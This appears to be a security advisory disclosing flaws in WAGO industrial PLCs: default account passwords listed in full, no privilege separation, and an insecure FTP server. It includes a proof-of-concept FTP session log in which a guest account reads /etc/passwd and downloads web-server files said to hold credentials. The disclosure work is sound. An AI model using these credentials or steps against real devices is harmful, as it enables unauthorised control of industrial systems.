*WAGO IO PLC 758-870, 750-849, 750-849 vulnerabilities*

*Background*
According to WAGO’s Web site, WAGO is an international company based in
Germany. They operate production facilities in Germany, Switzerland,
Poland, China, and India. WAGO maintains offices worldwide.

According to WAGO, its products are deployed across several sectors
including manufacturing, building automation, electric generation,
transportation, and others. WAGO estimates that these products are used
worldwide.

*Vulnerability Details*

*Weak Credential Management*
CVE-ID: CVE-2015-6472

*Affected models:*
*WAGO IO 750-849 & 750-881*
Modular I/O System. WAGO-I/O-IPC web-based management
Order number    750-849
Firmware revision       01.01.27 (04)
Order number    750-849
Firmware revision       01.02.05 (03)

*WAGO IO 758-870*
Modular I/O System. WAGO-I/O-IPC web-based management

WAGO device models 750-849 and 750-881 come configured, by default, with
three (3) accounts having weak credentials.

admin - wago
user - user
guest - guest

WAGO device model 758-870 comes configured, by default, with five (5)
accounts having weak credentials.

root:wago
admin:wago
user:user
www:www
guest:guest

The application / system never initiates a forceful password change on
first use or later for that matter.

*Impact*
Attackers are able to exploit these vulnerabilities by using the default
credentials to gain unauthorized administrative access to the systems.

*No privilege separation*
CVE-ID: CVE-2015-6473

*Affected models:*
WAGO IO 750-849 & 750-881
Modular I/O System. WAGO-I/O-IPC web-based management
Order number    750-849
Firmware revision       01.01.27 (04)
Order number    750-881
Firmware revision       01.02.05 (03)

All three accounts can manage the device via HTTP(S) with full privileges.
There seems to be no privilege separation when logged in as any user - all
the functionality is available to these three accounts - admin, user, guest.

*Impact*
Attackers can control the device using any of the three default accounts &
perform any changes without any restrictions.

*Insecure ftp configuration / filesystem permissions*
CVE-ID: *XXX   [MITRE, CVE please]*

WAGO IO 758-870 device also runs a FTP server. All the five (5) users
documented above can log in over FTP.

The FTP server configuration and filesystem permissions are set up
insecurely and allows unauthorized file access.

a. Login to FTP as 'guest' user
b. Should have no access ideally outside ftproot /
c. ’guest' can still access any file system location
d. Multiple files across the file system have too open / unrestricted
access permissions. 'guest' can access multiple, critical files.
e. Access control is not enforced sufficiently, consistently & correctly.

For example, ‘guest’ user is restricted and cannot download the /etc/passwd
on the first attempt. However, *the system allows download of /etc/passwd
file in the second attempt performed from a different directory with loose
access permissions.*

There may be other files accessible as well.

*PoC*

Connected to <IP>.
220 FTP server ready.
Name: guest
331 User guest OK. Password required
Password:
230 OK. Current directory is /home/guest
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Extended Passive mode OK (|||53957|)
150 Accepted data connection
226-Options: -l
226 0 matches total
ftp> ls
229 Extended Passive mode OK (|||24432|)
150 Accepted data connection
226-Options: -l
226 0 matches total

ftp> ls /etc/

229 Extended Passive mode OK (|||29997|)
150 Accepted data connection
-rw-r--r--    1 0        0              44 Sep 27  2010 LICENSE
-rw-r--r--    1 0        0              22 Oct  1  2010 REVISIONS
-rw-rw-rw-    1 0        0              26 Jun  7  2010 TZ
-rw-r--r--    1 0        0              96 Oct  1  2010 VIDEO_MODES
-rwxr-xr-x    1 0        0             271 Oct  1  2010 cfg-kbus-irq.sh
drwxrwsrwx    2 0        0            2048 Mar  3 14:39 config-tools
-rw-r--r--    1 0        0             504 Oct  1  2010 fstab
-rw-r--r--    1 0        0              80 Oct  1  2010 group
-rw-r-----    1 0        0              27 Oct  1  2010 gshadow
-rw-r--r--    1 0        0              16 Oct  1  2010 homepartition
-rw-rw-rw-    1 0        0              12 Oct  1  2010 hostname
-rw-r--r--    1 0        0              20 Oct  1  2010 hosts
drwxr-xr-x    2 0        0            1024 Oct  1  2010 hotplug
drwxr-xr-x    3 0        0            1024 Oct  1  2010 hotplug.d
drwxr-xr-x    2 0        0            1024 Oct  1  2010 ifplugd
-rw-r--r--    1 0        0              58 Oct  1  2010 inetd.conf
drwxrwxrwx    2 0        0            1024 Mar  2 18:15 init.d
-rw-r--r--    1 0        0             319 Oct 27  2014 inittab
-rw-r--r--    1 0        0             842 Jun  7  2010 inputrc
-rw-r--r--    1 0        0             128 Jun  7  2010 ipkg.conf
drwxr-xr-x    2 0        0            1024 Jun 15 21:42 lighttpd
lrwxrwxrwx    1 0        0              12 Oct  1  2010 mtab -> /proc/mounts
drwxrwxrwx    6 0        0            1024 Feb 24 18:22 network
-rw-r--r--    1 0        0            1181 Oct  1  2010 nsswitch.conf
-rw-r--r--    1 0        0              40 Oct  1  2010 partitions
-rw-r--r--    1 0        0             459 Oct  1  2010 passwd
drwxr-xr-x    2 0        0            1024 Oct  1  2010 php5
------x---    1 0        0              53 Mar  3 14:40 pointercal
-rw-r--r--    1 0        0             536 Oct  1  2010 profile
-rw-r--r--    1 0        0             178 Oct  1  2010 protocols
-rw-r--r--    1 0        0               8 Jun  7  2010 pure-ftpd.conf
drwxrwxrwx    2 0        0            1024 Oct  1  2010 rc.d
-rw-rw-rw-    1 0        0              53 Oct  1  2010 resolv.conf
-rw-r--r--    1 0        0              14 Oct  1  2010 rootpartition
-rw-rw-rw-    1 0        0             341 Mar  2 17:08 rts3s.cfg
-rwxr-xr-x    1 0        0            3012 Jun  7  2010 screenrc
-rw-r--r--    1 0        0            9590 Oct  1  2010 services
-rw-r-----    1 0        0             338 Oct  1  2010 shadow
-rw-------    1 0        0             280 Oct  1  2010 shadow-
-r--r-----    1 0        0            1712 Jun  7  2010 sudoers
-rwxrwxrwx    1 0        0              25 Jun  7  2010 timezone
-rwxr-xr-x    1 0        0             511 Mar  3 14:37 ts.conf
drwxr-xr-x    3 0        0            1024 Oct  1  2010 udev
-rwxr-xr--    1 0        0             798 Oct  1  2010 udhcpc.script
-rw-r--r--    1 0        0             357 Jun 15 21:42 webserver_conf.xml

226-Options: -l
226 45 matches total

Note: As seen above, access permissions are too open on multiple files and
directories.

ftp> get /etc/shadow
local: /etc/shadow remote: /etc/shadow
ftp: Can't access `/etc/shadow': Permission denied

ftp> get /etc/passwd
local: /etc/passwd remote: /etc/passwd
*ftp: Can't access `/etc/passwd': Permission denied*

ftp> get /etc/webserver_conf.xml
local: /etc/webserver_conf.xml remote: /etc/webserver_conf.xml
ftp: Can't access `/etc/webserver_conf.xml': Permission denied

ftp> get /etc/pure-ftpd.conf
local: /etc/pure-ftpd.conf remote: /etc/pure-ftpd.conf
ftp: Can't access `/etc/pure-ftpd.conf': Permission denied

*ftp> cd /etc/lighttpd  <— drwxr-xr-x*
250 OK. Current directory is /etc/lighttpd
ftp> ls
229 Extended Passive mode OK (|||10281|)
150 Accepted data connection
-rw-r--r--    1 12       102            65 Jun  7  2010
lighttpd-htpasswd.user
-rw-r--r--    1 12       102          3743 Jun 15 21:42 lighttpd.conf
-rw-r--r--    1 12       102           414 Jun  7  2010 mod_fastcgi.conf

226-Options: -l
226 3 matches total

ftp> get lighttpd-htpasswd.user

local: lighttpd-htpasswd.user remote: lighttpd-htpasswd.user
229 Extended Passive mode OK (|||52622|)
150 Accepted data connection
100%
|***********************************************************************************************************|
   65      484.55 KiB/s    00:00 ETA

226-File successfully transferred
226 0.001 seconds (measured here), 71.89 Kbytes per second
65 bytes received in 00:00 (3.14 KiB/s)
ftp>
ftp> get lighttpd.conf
local: lighttpd.conf remote: lighttpd.conf
229 Extended Passive mode OK (|||9954|)
150 Accepted data connection
100%
|***********************************************************************************************************|
 3743      243.10 KiB/s    00:00 ETA

226-File successfully transferred
226 0.015 seconds (measured here), 249.64 Kbytes per second
3743 bytes received in 00:00 (160.62 KiB/s)
…..
*Note*: Above configuration files contain credentials.

Once in this directory, we can now also access /etc/passwd file

*ftp> get /etc/passwd*
local: /etc/passwd remote: /etc/passwd
229 Extended Passive mode OK (|||1859|)
150 Accepted data connection
100%
|***********************************************************************************************************|
  459        3.77 MiB/s    00:00 ETA
*226-File successfully transferred*
226 0.003 seconds (measured here), 143.76 Kbytes per second
459 bytes received in 00:00 (35.35 KiB/s)

+++++

-- 
Best Regards,
Karn Ganeshen